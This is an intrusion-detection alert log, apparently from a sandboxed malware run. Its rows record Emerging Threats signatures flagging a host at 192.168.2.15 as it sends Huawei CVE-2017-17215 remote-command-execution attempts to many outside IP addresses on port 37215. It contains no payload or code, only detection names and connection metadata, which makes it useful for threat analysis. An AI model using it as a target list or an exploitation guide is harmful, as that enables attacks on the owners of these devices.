02/19/24-18:36:22.312925	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49806	37215	192.168.2.15	94.121.96.158
02/19/24-18:36:28.361098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57704	37215	192.168.2.15	94.121.57.90
02/19/24-18:36:44.375965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42614	37215	192.168.2.15	31.136.141.26
02/19/24-18:36:46.834760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36214	37215	192.168.2.15	94.123.179.203
02/19/24-18:36:22.312535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38596	37215	192.168.2.15	94.123.123.8
02/19/24-18:38:08.774154	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38912	37215	192.168.2.15	156.241.11.125
02/19/24-18:36:44.147064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55872	37215	192.168.2.15	31.136.107.123
02/19/24-18:37:24.573826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33012	37215	192.168.2.15	45.250.173.124
02/19/24-18:37:15.415439	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46360	37215	192.168.2.15	31.136.56.38
02/19/24-18:37:40.801159	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46930	37215	192.168.2.15	222.186.174.59
02/19/24-18:38:00.828840	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36628	37215	192.168.2.15	156.224.8.94
02/19/24-18:36:46.833025	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52260	37215	192.168.2.15	94.120.33.17
02/19/24-18:38:01.112379	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40124	37215	192.168.2.15	94.123.55.249
02/19/24-18:37:48.303807	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39776	37215	192.168.2.15	94.123.176.26
02/19/24-18:38:20.943380	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45436	37215	192.168.2.15	94.122.64.239
02/19/24-18:37:59.804740	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52176	37215	192.168.2.15	156.235.107.177
02/19/24-18:38:01.391923	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42382	37215	192.168.2.15	94.121.202.155
02/19/24-18:38:01.113191	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41146	37215	192.168.2.15	94.122.105.224
02/19/24-18:36:46.844489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49278	37215	192.168.2.15	94.120.34.5
02/19/24-18:36:22.312277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42970	37215	192.168.2.15	94.122.13.243
02/19/24-18:37:27.870517	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43904	37215	192.168.2.15	94.122.49.96
02/19/24-18:37:48.304515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44678	37215	192.168.2.15	94.123.84.86
02/19/24-18:38:20.949334	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55268	37215	192.168.2.15	94.120.37.193
02/19/24-18:36:44.152582	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34924	37215	192.168.2.15	31.136.15.206
02/19/24-18:38:08.988264	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57824	37215	192.168.2.15	94.123.78.89
02/19/24-18:37:01.126365	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52544	37215	192.168.2.15	31.136.162.200
02/19/24-18:38:08.988714	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53152	37215	192.168.2.15	94.122.105.254
02/19/24-18:38:20.956603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40158	37215	192.168.2.15	94.122.220.112
02/19/24-18:38:01.391626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40304	37215	192.168.2.15	94.120.14.96
02/19/24-18:37:48.304338	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35222	37215	192.168.2.15	94.120.100.141
02/19/24-18:36:46.838602	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42534	37215	192.168.2.15	94.120.34.202
02/19/24-18:37:41.312439	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45356	37215	192.168.2.15	45.43.235.113
02/19/24-18:36:28.361411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52438	37215	192.168.2.15	94.122.0.201
02/19/24-18:38:08.992035	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60020	37215	192.168.2.15	94.121.98.243
02/19/24-18:36:44.376063	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46540	37215	192.168.2.15	31.136.227.84
02/19/24-18:37:26.604792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52688	37215	192.168.2.15	45.43.235.46
02/19/24-18:38:20.946185	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53250	37215	192.168.2.15	94.123.48.85
02/19/24-18:37:01.136064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43646	37215	192.168.2.15	122.224.237.121
02/19/24-18:37:48.304879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41118	37215	192.168.2.15	94.121.63.41
02/19/24-18:36:22.313034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45592	37215	192.168.2.15	94.121.212.153
02/19/24-18:36:23.331634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46744	37215	192.168.2.15	94.120.157.90
02/19/24-18:38:20.943888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46086	37215	192.168.2.15	94.123.25.194
02/19/24-18:36:29.348867	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45888	37215	192.168.2.15	94.120.164.149
02/19/24-18:37:31.135998	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46844	37215	192.168.2.15	94.123.132.111
02/19/24-18:36:54.161575	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41030	37215	192.168.2.15	156.93.225.105
02/19/24-18:38:01.391772	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40136	37215	192.168.2.15	94.121.184.59
02/19/24-18:37:55.919601	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37128	37215	192.168.2.15	156.254.88.4
02/19/24-18:37:25.689251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40168	37215	192.168.2.15	156.241.15.67
02/19/24-18:37:01.248254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48062	37215	192.168.2.15	122.114.15.2
02/19/24-18:38:20.957022	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40540	37215	192.168.2.15	94.122.225.103
02/19/24-18:37:55.528819	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40690	37215	192.168.2.15	156.77.130.234
02/19/24-18:38:20.949547	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42268	37215	192.168.2.15	94.120.174.10
02/19/24-18:38:08.987825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47976	37215	192.168.2.15	94.121.39.206
02/19/24-18:38:05.928805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32894	37215	192.168.2.15	156.254.105.192
02/19/24-18:37:28.096531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38278	37215	192.168.2.15	31.200.5.115
02/19/24-18:38:01.391487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58566	37215	192.168.2.15	94.123.1.240
02/19/24-18:37:26.604554	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39034	37215	192.168.2.15	45.195.116.192
02/19/24-18:37:41.581034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42664	37215	192.168.2.15	37.16.10.25
02/19/24-18:36:28.359998	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48696	37215	192.168.2.15	94.121.27.46
02/19/24-18:37:47.987926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38830	37215	192.168.2.15	45.127.160.138
02/19/24-18:37:32.153159	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34182	37215	192.168.2.15	94.120.158.17
02/19/24-18:37:47.987181	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53240	37215	192.168.2.15	45.33.246.33
02/19/24-18:37:40.432468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51240	37215	192.168.2.15	45.115.240.199
02/19/24-18:38:05.925670	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41286	37215	192.168.2.15	156.254.93.52
02/19/24-18:38:08.998738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53056	37215	192.168.2.15	94.123.155.107
02/19/24-18:38:00.828362	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53528	37215	192.168.2.15	156.247.19.176
02/19/24-18:38:01.392235	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50222	37215	192.168.2.15	94.121.105.101
02/19/24-18:37:15.416017	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35624	37215	192.168.2.15	31.200.29.69
02/19/24-18:37:48.305056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43906	37215	192.168.2.15	94.123.136.23
02/19/24-18:37:48.304695	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41738	37215	192.168.2.15	94.123.117.198
02/19/24-18:37:48.303908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60042	37215	192.168.2.15	94.123.117.106
02/19/24-18:38:08.988118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35200	37215	192.168.2.15	94.121.43.104
02/19/24-18:36:28.361652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52076	37215	192.168.2.15	94.123.67.93
02/19/24-18:38:20.949098	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54392	37215	192.168.2.15	94.121.119.0
02/19/24-18:37:27.870293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52644	37215	192.168.2.15	94.120.169.73
02/19/24-18:36:44.183465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43066	37215	192.168.2.15	31.200.58.102
02/19/24-18:36:28.360618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52680	37215	192.168.2.15	94.122.61.208
02/19/24-18:36:28.361758	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37628	37215	192.168.2.15	94.123.103.181
02/19/24-18:36:28.360955	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41634	37215	192.168.2.15	94.122.56.201
02/19/24-18:37:48.304170	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49236	37215	192.168.2.15	94.123.88.15
02/19/24-18:37:24.717566	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33046	37215	192.168.2.15	45.207.153.168
02/19/24-18:36:46.834168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59980	37215	192.168.2.15	94.123.254.39
02/19/24-18:37:15.416109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37120	37215	192.168.2.15	31.200.2.67
02/19/24-18:38:20.945835	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51322	37215	192.168.2.15	94.123.34.78
02/19/24-18:37:01.984939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54754	37215	192.168.2.15	45.42.90.37
02/19/24-18:36:28.360131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58458	37215	192.168.2.15	94.121.158.98
02/19/24-18:36:55.646616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45448	37215	192.168.2.15	156.254.80.249
02/19/24-18:38:20.943707	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34310	37215	192.168.2.15	94.120.24.97
02/19/24-18:36:46.832697	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46528	37215	192.168.2.15	94.123.247.108
02/19/24-18:36:23.331161	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59124	37215	192.168.2.15	94.121.75.18
02/19/24-18:37:40.237027	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33706	37215	192.168.2.15	45.250.174.54
02/19/24-18:38:16.357172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50444	37215	192.168.2.15	45.115.241.43
02/19/24-18:36:28.362205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54386	37215	192.168.2.15	94.123.47.2
02/19/24-18:37:01.125255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46264	37215	192.168.2.15	31.136.147.25
02/19/24-18:37:56.215737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42376	37215	192.168.2.15	156.254.85.64
02/19/24-18:36:28.734030	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43724	37215	192.168.2.15	45.127.163.157
02/19/24-18:37:01.125506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35482	37215	192.168.2.15	31.136.119.7
02/19/24-18:37:15.415196	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53748	37215	192.168.2.15	31.136.214.215
02/19/24-18:37:31.137308	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57888	37215	192.168.2.15	94.122.90.78
02/19/24-18:36:22.312827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41814	37215	192.168.2.15	94.122.84.186
02/19/24-18:38:05.944777	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41180	37215	192.168.2.15	156.235.107.9
02/19/24-18:36:29.049080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53148	37215	192.168.2.15	45.195.120.18
02/19/24-18:36:46.832697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46528	37215	192.168.2.15	94.123.247.108
02/19/24-18:36:49.866279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52936	37215	192.168.2.15	156.241.12.155
02/19/24-18:37:15.415813	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52430	37215	192.168.2.15	31.200.117.125
02/19/24-18:36:28.734165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34174	37215	192.168.2.15	45.33.250.110
02/19/24-18:36:39.746015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33634	37215	192.168.2.15	45.207.159.153
02/19/24-18:38:03.039195	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41792	37215	192.168.2.15	122.254.96.69
02/19/24-18:38:08.988805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37850	37215	192.168.2.15	94.122.224.59
02/19/24-18:36:44.376420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51738	37215	192.168.2.15	31.136.228.54
02/19/24-18:37:28.889302	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36942	37215	192.168.2.15	94.121.18.154
02/19/24-18:37:26.604700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44032	37215	192.168.2.15	45.125.108.93
02/19/24-18:37:32.164490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43766	37215	192.168.2.15	94.122.207.204
02/19/24-18:36:28.361893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46318	37215	192.168.2.15	94.123.100.85
02/19/24-18:37:48.992019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55940	37215	192.168.2.15	45.33.250.87
02/19/24-18:37:56.514447	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60770	37215	192.168.2.15	156.253.45.96
02/19/24-18:37:48.046854	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43996	37215	192.168.2.15	121.199.82.199
02/19/24-18:37:26.604700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44032	37215	192.168.2.15	45.125.108.93
02/19/24-18:36:44.376261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38350	37215	192.168.2.15	31.136.221.11
02/19/24-18:37:15.415350	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45638	37215	192.168.2.15	31.136.193.242
02/19/24-18:37:41.312592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43458	37215	192.168.2.15	45.33.248.121
02/19/24-18:38:01.392992	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57446	37215	192.168.2.15	94.122.227.158
02/19/24-18:38:16.357025	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55928	37215	192.168.2.15	45.115.237.84
02/19/24-18:38:20.942973	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55058	37215	192.168.2.15	94.121.207.199
02/19/24-18:36:23.332128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51680	37215	192.168.2.15	94.121.61.67
02/19/24-18:37:15.415196	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53748	37215	192.168.2.15	31.136.214.215
02/19/24-18:38:01.391035	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46798	37215	192.168.2.15	94.187.104.4
02/19/24-18:38:20.945466	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40646	37215	192.168.2.15	94.123.136.14
02/19/24-18:38:08.990990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50290	37215	192.168.2.15	94.123.154.146
02/19/24-18:38:11.600695	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49204	37215	192.168.2.15	138.36.244.85
02/19/24-18:37:28.053650	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51328	37215	192.168.2.15	31.136.107.104
02/19/24-18:36:39.595155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38608	37215	192.168.2.15	45.33.249.26
02/19/24-18:36:44.376456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60644	37215	192.168.2.15	31.136.128.73
02/19/24-18:38:01.393604	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57802	37215	192.168.2.15	94.121.194.157
02/19/24-18:38:05.920743	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55276	37215	192.168.2.15	156.247.31.246
02/19/24-18:37:31.123053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58414	37215	192.168.2.15	94.122.20.156
02/19/24-18:38:01.123394	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37826	37215	192.168.2.15	94.123.13.122
02/19/24-18:36:28.360862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34436	37215	192.168.2.15	94.123.50.125
02/19/24-18:38:01.392848	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49790	37215	192.168.2.15	94.123.7.112
02/19/24-18:38:20.945835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51322	37215	192.168.2.15	94.123.34.78
02/19/24-18:36:44.183465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43066	37215	192.168.2.15	31.200.58.102
02/19/24-18:38:00.828362	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53528	37215	192.168.2.15	156.247.19.176
02/19/24-18:38:06.098757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53256	37215	192.168.2.15	31.136.240.15
02/19/24-18:36:39.433148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42770	37215	192.168.2.15	186.129.147.242
02/19/24-18:36:44.185700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59756	37215	192.168.2.15	31.44.136.200
02/19/24-18:36:46.840016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56116	37215	192.168.2.15	94.122.118.244
02/19/24-18:36:23.804631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41394	37215	192.168.2.15	197.56.197.185
02/19/24-18:36:46.835783	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45800	37215	192.168.2.15	94.123.48.151
02/19/24-18:37:28.087110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35814	37215	192.168.2.15	31.200.57.26
02/19/24-18:36:28.360445	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39312	37215	192.168.2.15	94.122.225.65
02/19/24-18:37:41.581034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42664	37215	192.168.2.15	37.16.10.25
02/19/24-18:38:17.312698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45180	37215	192.168.2.15	31.200.63.1
02/19/24-18:36:46.833777	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54680	37215	192.168.2.15	94.120.8.97
02/19/24-18:37:42.400625	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44424	37215	192.168.2.15	122.254.106.210
02/19/24-18:37:59.573796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44222	37215	192.168.2.15	156.77.135.31
02/19/24-18:38:20.943210	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51578	37215	192.168.2.15	94.123.7.103
02/19/24-18:38:20.961741	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38620	37215	192.168.2.15	94.121.16.58
02/19/24-18:38:01.391333	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35326	37215	192.168.2.15	94.121.54.85
02/19/24-18:38:08.998738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53056	37215	192.168.2.15	94.123.155.107
02/19/24-18:37:48.305056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43906	37215	192.168.2.15	94.123.136.23
02/19/24-18:38:08.986889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52596	37215	192.168.2.15	94.187.105.228
02/19/24-18:36:39.595552	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48468	37215	192.168.2.15	45.127.161.223
02/19/24-18:38:08.990679	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49446	37215	192.168.2.15	94.121.132.238
02/19/24-18:36:23.332331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57150	37215	192.168.2.15	94.123.68.80
02/19/24-18:38:01.392235	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50222	37215	192.168.2.15	94.121.105.101
02/19/24-18:37:40.432250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46782	37215	192.168.2.15	45.207.143.94
02/19/24-18:38:20.957301	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52842	37215	192.168.2.15	94.122.197.189
02/19/24-18:38:17.234988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37350	37215	192.168.2.15	31.136.174.145
02/19/24-18:37:48.111821	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38758	37215	192.168.2.15	45.117.144.54
02/19/24-18:36:46.831579	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60470	37215	192.168.2.15	94.123.112.24
02/19/24-18:37:01.125715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33434	37215	192.168.2.15	31.136.213.246
02/19/24-18:37:48.124470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51252	37215	192.168.2.15	45.207.190.38
02/19/24-18:38:01.112819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38754	37215	192.168.2.15	94.121.100.28
02/19/24-18:36:22.313212	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48622	37215	192.168.2.15	94.121.33.253
02/19/24-18:37:59.788812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60034	37215	192.168.2.15	156.247.16.223
02/19/24-18:37:47.987549	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36768	37215	192.168.2.15	45.43.233.31
02/19/24-18:36:46.832311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48374	37215	192.168.2.15	94.121.133.59
02/19/24-18:38:17.236251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54980	37215	192.168.2.15	31.136.236.4
02/19/24-18:37:41.580538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35852	37215	192.168.2.15	37.16.31.14
